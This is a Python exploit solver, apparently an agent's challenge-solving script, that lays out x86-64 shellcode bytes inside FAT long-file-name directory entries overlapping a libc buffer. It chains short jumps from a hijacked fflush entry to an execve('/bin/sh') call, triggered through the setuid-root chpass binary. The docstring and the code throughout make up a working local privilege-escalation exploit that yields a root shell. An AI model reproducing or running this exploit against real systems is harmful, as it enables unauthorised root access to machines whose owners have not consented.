#!/usr/bin/env python3
"""DF-2675 solver v15 (FINAL): libc 0x100000 window, fflush landing, chpass.

V = /lib/libc.so.8 cluster buffer @ 0x100000; window = libc[0x100000..0x100800).
Landing = fflush entry +0x4a4 = 1188 (record 37 offset 4, pair-high -> pad).
Trigger: /usr/bin/chpass (setuid-root) -- stdio flush at exit -> stub (euid 0).

Groups (free-grid [1,7,8,21,22,23,24,26,37,48,50,51,53]):
  g1@37 parts=10 (name 120): LFN 37..46, 8.3@47 (spare, NO data write)
  g2@48 parts=1 (name 11)  : LFN 48, 8.3@49 = MOV edi,0x403c18
       [26..30] = BF 18 3C 40 00 (cluster 0x18BF=6335, size 0x403C)
       [31] = 00 bridge: 00 42 dd (add [rdx+dd],al; rdx=rsp from stub)
  g3@50 parts=2 (name 25)  : LFN 50..51, 8.3@52:
       [26,27] = cluster 0x5E54 = '54 5E' (push rsp; pop rsi)
       [28,29] = size 0x050F = '0F 05' (execve syscall)
       isatty entry (record 51 offset 21) -> 'C3 50' (RET guard)

Flow:
  1188: 50 / 31 FF (rdi=0) / EB d1 -> t (record ~40)
  t   : 54 5A (rdx=rsp) / 57 (push 0: argv[1]) / 6A 59 / 58 (rax=59)
        jmp-chain -> 1594 (mov edi,S)
  1594: BF 18 3C 40 00 ; 00 42 01 bridge (1599..1601) -> 1602
  1602: 57 (push S: argv[0]) + fillers / EB 4F at 1609 -> 1690
  1690: 54 5E (rsi=rsp=&argv) / 0F 05 execve("/bin/sh",{S,0},NULL)
"""
import json

AVAIL = {(a, b) for a, b in json.load(open('/tmp/opencode/df2675/avail_emp.json'))}
AVAIL.add((0xEB, 0x73))   # guest-verified via U+73EB (gb ab96)
LIBC = open('/tmp/opencode/df2675/libc.so.8', 'rb').read()
WIN = bytearray(LIBC[0x100000:0x100800])
EB_HIGHS = [d for d in sorted(h for (l, h) in AVAIL if l == 0xEB) if d <= 127] + [0x73]

PLAN = {}
def add_create(first, parts, fid):
    for k in range(parts):
        PLAN[first + k] = dict(kind='lfn',
                               cnt=(parts - k) | (0x40 if k == 0 else 0),
                               file=fid, part=parts - k)
    PLAN[first + parts] = dict(kind='83', file=fid)
add_create(37, 10, 1)
add_create(48, 1, 2)
add_create(50, 2, 3)

PAIRS = [1, 3, 5, 7, 9, 14, 16, 18, 20, 22, 24, 28, 30]
STRUCT = {0, 11, 12, 13, 26, 27}
placed = {}

def place(off, val):
    if off in placed and placed[off] != val:
        raise AssertionError(f"conflict @{off}")
    placed[off] = val

def free(off):
    r = PLAN.get(off // 32)
    return r is not None and r['kind'] == 'lfn' and (off % 32) not in STRUCT

def placeable(off, b):
    return free(off) and (off not in placed or placed[off] == b)

FILLERS = [0x50,0x51,0x52,0x56,0x57,0x58,0x59,0x5A,0x5E,0x5F,0xF8,0xF9,0xF5,0xFC]

MOVEDI = 49 * 32 + 26        # 1594
BRIDGE = 49 * 32 + 31        # 1599
FINALE = 52 * 32 + 26        # 1690 (54 5E / 0F 05)
LAND = 0x4a4                 # 1188
ISATTY = 0x675               # 1653

for i, b in enumerate(bytes([0xBF, 0x18, 0x3C, 0x40, 0x00])):
    place(MOVEDI + i, b)
place(BRIDGE, 0x00)
place(50 * 32 + 1, 0x01)     # bridge dd (pair (01,57) avail)
place(ISATTY - 1, 0x50)   # pair (x,50): filler for the pre-entry byte
place(ISATTY, 0x50)      # entry: push rax (1 byte)
place(ISATTY + 1, 0xC3)  # RET at pair-low offset 22
place(ISATTY + 2, 0x50)  # pair (C3,50)

def pair_conforms_with(off, b):
    saved = placed.get(off)
    placed[off] = b
    base = (off // 32) * 32; rel = off % 32
    ok = True
    for p in PAIRS:
        if rel in (p, p + 1):
            va = placed.get(base + p); vb = placed.get(base + p + 1)
            ok = (va is None or vb is None) or ((va, vb) in AVAIL)
            break
    if saved is None: placed.pop(off, None)
    else: placed[off] = saved
    return ok

def landings():
    s = set()
    for slot in PLAN:
        if PLAN[slot]['kind'] != 'lfn': continue
        base = slot * 32
        for o in PAIRS:
            s.add(base + o); s.add(base + o + 1)
    return set(x for x in s if free(x))
LSET = landings()

def edges_from(src, dst):
    out = []
    for j in range(src, src + 13):
        if j + 1 >= 2048 or not free(j) or not free(j + 1):
            if not free(j): break
            continue
        if (j % 32) not in PAIRS:
            continue
        for d in EB_HIGHS:
            t = j + 2 + d
            if t >= 2048: continue
            if (t == dst or t in LSET) and placeable(j, 0xEB) and placeable(j + 1, d):
                out.append((j, d, t))
    return out

from collections import deque
def find_path(src, dst):
    if src == dst: return []
    seen = {src}; q = deque([(src, [])])
    while q:
        s, path = q.popleft()
        for j, d, t in edges_from(s, dst):
            if not all(any(placeable(g, f) and pair_conforms_with(g, f)
                           for f in FILLERS) for g in range(s, j)):
                continue
            if t == dst: return path + [(j, d)]
            if t not in seen:
                seen.add(t); q.append((t, path + [(j, d)]))
    return None

def apply_path(src, path):
    s = src
    for (j, d) in path:
        snap = dict(placed); ok = True
        for g in range(s, j):
            for f in FILLERS:
                if placeable(g, f) and pair_conforms_with(g, f):
                    place(g, f); break
            else:
                ok = False; break
        if ok:
            place(j, 0xEB); place(j + 1, d)
        if not ok:
            placed.clear(); placed.update(snap); return False
        s = j + 2 + d
    return True

def place_instr(pos, bs, maxpre=6):
    for pre in range(0, maxpre + 1):
        ok = all(any(placeable(g, f) and pair_conforms_with(g, f)
                     for f in FILLERS) for g in range(pos, pos + pre))
        if ok and all(placeable(pos + pre + i, b) for i, b in enumerate(bs)):
            snap = dict(placed)
            for g in range(pos, pos + pre):
                for f in FILLERS:
                    if placeable(g, f) and pair_conforms_with(g, f):
                        place(g, f); break
            for i, b in enumerate(bs):
                place(pos + pre + i, b)
            if all(pair_conforms_with(pos + pre + i, b) for i, b in enumerate(bs)):
                return pos + pre + len(bs)
            placed.clear(); placed.update(snap)
    return None

def global_check():
    bad = []
    for slot in sorted(PLAN):
        if PLAN[slot]['kind'] != 'lfn': continue
        base = slot * 32
        for p in PAIRS:
            va = placed.get(base + p, WIN[base + p])
            vb = placed.get(base + p + 1, WIN[base + p + 1])
            if (va, vb) not in AVAIL:
                bad.append((slot, base + p, hex(va), hex(vb)))
    return bad

def complete_fill():
    for slot in sorted(PLAN):
        if PLAN[slot]['kind'] != 'lfn': continue
        base = slot * 32
        for p in PAIRS:
            a, b = base + p, base + p + 1
            va, vb = placed.get(a), placed.get(b)
            if va is not None and vb is not None: continue
            if va is None and vb is None:
                place(a, 0x50); place(b, 0x00)
            elif va is not None:
                for x in [0x00] + list(range(256)):
                    if (va, x) in AVAIL:
                        place(b, x); break
                else: return False
            else:
                for x in range(256):
                    if (x, vb) in AVAIL:
                        place(a, x); break
                else: return False
    return True

def solve():
    place(1188, 0x50); place(1189, 0x31); place(1190, 0xFF)
    for t in [x for x in sorted(LSET) if 1265 <= x <= 1340]:
        d = t - 1193
        if d not in EB_HIGHS: continue
        if not (placeable(1191, 0xEB) and placeable(1192, d)): continue
        snap = dict(placed)
        place(1191, 0xEB); place(1192, d)
        pos = t; ok = True
        for st in [bytes([0x54, 0x5A]), bytes([0x57]), bytes([0x6A, 0x59]),
                   bytes([0x58])]:
            pos = place_instr(pos, st)
            if pos is None: ok = False; break
        if not ok or not (free(pos) and free(pos + 1)):
            placed.clear(); placed.update(snap); continue
        print("stub-A ends", pos, "via t", t)
        path = find_path(pos, MOVEDI)
        if path is None or not apply_path(pos, path):
            print("  t", t, "route-mov fail")
            placed.clear(); placed.update(snap); continue
        # bridge ends at 1602: push S then jmp EB 4F at 1609 -> 1690
        pos = place_instr(1602, bytes([0x57]))
        if pos is None:
            print("  t", t, "stubC fail"); placed.clear(); placed.update(snap); continue
        # flow-path fillers 1603..1608 (must be safe 1-byte instructions)
        place(1603, 0x50)   # push rax      pair (1603,1604)=(50,51)
        place(1604, 0x51)   # push rcx      pair (50,51)
        place(1605, 0x58)   # pop rax       pair (58,?) -> (1605,1606)
        place(1606, 0x51)   # push rcx      pair (58,51) avail
        place(1607, 0x50)   # push rax      pair (1607,1608)
        place(1608, 0x51)   # push rcx      pair (50,51)
        place(1609, 0xEB); place(1610, 0x4F)   # jmp 1690
        if not complete_fill():
            print("  t", t, "fill fail"); placed.clear(); placed.update(snap); continue
        bad = global_check()
        if bad:
            print("  t", t, "pairs", bad[:5]); placed.clear(); placed.update(snap); continue
        return True
    return "no layout"

r = solve()
print("solve:", r)
if r is True:
    json.dump({str(k): v for k, v in placed.items()},
              open('/tmp/opencode/df2675/placed.json', 'w'))
    print("placed:", len(placed))